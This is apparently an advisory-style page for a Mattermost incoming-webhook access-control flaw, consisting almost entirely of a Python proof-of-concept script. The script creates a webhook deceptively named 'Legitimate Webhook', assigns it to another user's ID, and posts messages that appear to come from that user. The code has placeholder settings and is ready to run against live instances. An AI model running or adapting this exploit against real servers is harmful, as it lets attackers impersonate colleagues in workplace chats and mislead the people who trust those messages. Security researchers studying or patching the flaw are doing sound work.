CVE-2026-9708 Mattermost入站Webhook权限验证绕过漏洞

# CVE-2026-9708 Mattermost Incoming Webhook Impersonation PoC # This PoC demonstrates how a user with webhook management permissions # can create posts attributed to another user by exploiting missing # access control validation on the assigned webhook user. import requests # Configuration MATTERMOST_URL = "https://your-mattermost-instance.com" WEBHOOK_ID = "your_incoming_webhook_id" TARGET_CHANNEL_ID = "target_channel_id" IMPERSONATED_USER_ID = "user_id_to_impersonate" ATTACKER_TOKEN = "your_personal_access_token" def create_malicious_webhook(): """ Step 1: Create an incoming webhook assigned to a user who does NOT have access to the target channel/team. """ url = f"{MATTERMOST_URL}/api/v4/hooks/incoming" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "channel_id": TARGET_CHANNEL_ID, "user_id": IMPERSONATED_USER_ID, # User without access to target channel "display_name": "Legitimate Webhook", "description": "Webhook for integration" } response = requests.post(url, json=payload, headers=headers) print(f"Webhook created: {response.status_code}") return response.json().get("id") def send_impersonated_message(webhook_id): """ Step 2: Send a message through the webhook. The message will appear as if it was posted by the impersonated user. """ url = f"{MATTERMOST_URL}/hooks/{webhook_id}" payload = { "text": "This message appears to come from another user.", "channel_id": TARGET_CHANNEL_ID } response = requests.post(url, json=payload) print(f"Message sent: {response.status_code}") if __name__ == "__main__": # Create webhook with impersonated user assignment hook_id = create_malicious_webhook() # Send message attributed to the impersonated user send_impersonated_message(hook_id)